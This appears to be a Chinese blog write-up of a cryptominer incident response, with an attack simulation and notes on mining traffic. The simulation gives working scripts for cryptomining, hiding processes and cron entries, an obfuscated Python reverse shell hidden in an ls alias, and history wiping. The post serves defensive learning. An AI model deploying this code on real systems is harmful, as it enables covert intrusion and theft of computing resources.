挖矿木马+隐藏后门应急分析

华盟原创文章投稿奖励计划

前言

记录一次挖矿病毒木马的学习,包含一下知识:

应急响应

背景

一天,客户反馈服务器莫名其妙突然卡顿、风扇狂转,但是查看 cpu 占用率却都不高,请你上机排查!

查看 cpu 占用率

top -c

但是发现 cpu 占用率都不高

自动草稿

查看网络连接

netstat -anpt

自动草稿

发现可以连接,IP:43.129.150.140

对该 ip 进行威胁情报关联分析,发现该 ip 被微步标记为矿池

自动草稿

但是看不到进程信息,怀疑使用了目录挂载

解除目录挂载

查看所有目录挂载

cat /proc/$$/mountinfo

自动草稿

发现可疑挂载,使用以下命令解除挂载

umount /proc/59919

再次查看 cpu

自动草稿

查看网络连接

自动草稿

查看进程信息

自动草稿

发现隐藏目录,包含恶意程序

计划任务

干掉恶意进程,并删除文件

自动草稿

查看 cpu 占用率正常

但是没过一会,服务器又开始卡顿、风扇狂转

自动草稿

猜测存在计划任务,但是 crontab -l 命令没查到

自动草稿

想到可能是隐藏了,解决:

cat -A /var/spool/cron/crontabs/root

自动草稿
查看恶意脚本

自动草稿

删除即可

隐藏后门

发现莫名其妙会出现一些外链的请求

自动草稿

查看历史命令业务异常

history

使用查看 alias 命令查看也无异常

自动草稿

再一次连接之后排查

图片

发现执行了一个恶意的 python 脚本

自动草稿

搜索后发现在 release-upgrade 文件,修改了 ls 命令

自动草稿

发现 .bashrc 文件

自动草稿

找一个初始的文件对比发现多了 5 行

自动草稿

删除、删除 release-upgrade 文件、重启

XMR挖矿攻击模拟

模拟攻击流程

SSH 爆破

自动草稿

上挖矿马

下载

wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz 

解压

tar -zxvf xmrig.tar.gz

解压后我们得到俩个文件,一个是 xmrig 主程序,一个是 config. Json 配置文件。

配置

输入:vim config.json 打开 config. Json 文件,将 YOUR_WALLET_ADDRESS 修改成你的钱包地址

"user": "YOUR_WALLET_ADDRESS", "pass": "x",

运行

./xmrig #后台启动 nohup ./xmrig &

自动草稿

进程隐藏

目录挂载

未隐藏之前

自动草稿

自动草稿
目录挂载

mkdir /tmp/.k/null mount --bind /tmp/.k/null /proc

自动草稿

自动草稿

计划任务

添加计划任务使其可以开机自启,删除后恢复
1.sh

#!/bin/bash if [ ! -f "/tmp/.k/xmrig" ]; then
    mkdir /tmp/.k
    cd /tmp/.k
    wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz tar -zxvf xmrig.tar.gz
    sed -i 's/YOUR_WALLET_ADDRESS/45cuh6v7YDkdL9gTEkfffQ1rfoA6NitH9huwWUVjZnqCGXB9TrPGPK2D3UgLwMXtf1SCkNwuDNFZZWzCkgnesarBK9MDkJh/' /tmp/.k/config.json
    mkdir /tmp/.k/null nohup /tmp/.k/xmrig &
fi

sleep 3 if pgrep -x "xmrig" then
    pid=$(pgrep -x xmrig)
    mount --bind /tmp/.k/null /proc/$pid fi

2.sh

(crontab -l;printf "* * * * * /tmp/.s/1.sh;\rno crontw_wab for `whoami` %100 c\n")|crontab -
#上传脚本运行 mkdir /tmp/.s
cd /tmp/.s

chmod 777 1.sh
chmod 777 2.sh

./2.sh

效果:crontab -l ,必须 cat -A 或者 vim、vi 才能看到

自动草稿

持久化后门

/etc/update-manager/ 目录下

自动草稿

新建迷惑性文件 release-upgrade

touch release-upgrade

放入恶意命令

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xOTkuMSIsIDk5OTkpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts' 

追加进 ~/.bashrc 文件

#enable software update with apt #See /etc/apt/source.d/ in the apt package. if [ -f /etc/update-manager/release-upgrade ]; then
    . /etc/update-manager/release-upgrade
fi

清理痕迹

nl .bash_history

sed -i '10,$d' .bash_history

XMR挖矿流量分析

Stratum 协议

矿池一般采用 Stratum 协议与挖矿主机进行交互通信,Stratum 协议是基于 JSON-RPC 2.0 封装的 TCP 通讯协议,在挖矿主机和矿池的交互过程中支持挖矿主机登记、任务下发、账号登录、结果提交和挖矿任务难度调整这五种行为。

XMR 挖矿流量分析

由于比特币主机挖矿效益与投入比的不断降低,使得攻击者转向更具挖矿效率优势的门罗币。门罗币可以使用 CPU 或 GPU 进行挖矿,具有隐蔽性强,灵活性高等特点,是挖矿木马的首选,平常实际遇见的挖矿木马挖取的加密货币也几乎都是门罗币。

其采用 jsonrpc 数据样例的格式进行通信

安装 tcpdump

apt-get install tcpdump

捕获数据

捕获前 10000 个经过 ens 33 接口的数据包:

tcpdump -i ens33 -c 10000 -nn -w xmr_capture.pcap

过滤分析

自动草稿

XMR 采用 Cryptonight 算法作为其工作量证明的哈希函数。当使用 XMRig 进行挖矿时,他所采用的 CryptoNight 算法可能会产生较多的网络流量,因为它需要频繁地与矿池通信以获取新的挖矿任务。各种挖矿程序在使用 Stratum 协议的数据格式都会稍有不同,包括 XMRig。但是它们都遵循 JSON-RPC 2.0 的规范。

矿机任务提交

这个就是 XMRig 挖矿客户端向矿池服务器提交挖矿工作的请求

{  
    "id": 121,  
    "jsonrpc""2.0",  
    "method""submit",  
    "params": {  
        "id""50465107",  
        "job_id""51650811",  
        "nonce""cc210000",  
        "result""374de8..."     }  
}

矿池的成功响应

机矿成功提交挖矿工作后由矿池返回

{  
    "jsonrpc""2.0",  
    "id": 110,  
    "error"null,  
    "result": {  
        "status""OK"     }  
}

矿池下发新任务

{  
    "method""job",  
    "params": {  
        "blob""1010a5...",  
        "algo""rx/0",  
        "height": 3190425,  
        "seed_hash""78f693...",  
        "job_id""51724435",  
        "target""7d770100",  
        "id""50465107"     },  
    "jsonrpc""2.0" }

总结

总的来说特征还是很明显的,基于 json 的流量,主要特征字段有 id,jsonrpc,method,params,job_id,nonce,result 等

参考

https://wxiaoge.blog.csdn.net/article/details/117472195
https://blog.csdn.net/laozhang338/article/details/131812201
https://www.cnblogs.com/smileleooo/p/18172605#%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90

文章来源:奇安信攻防社区

链接:https://forum.butian.net/share/3618

作者:Yu9

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

本文来源奇安信攻防社区,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表回复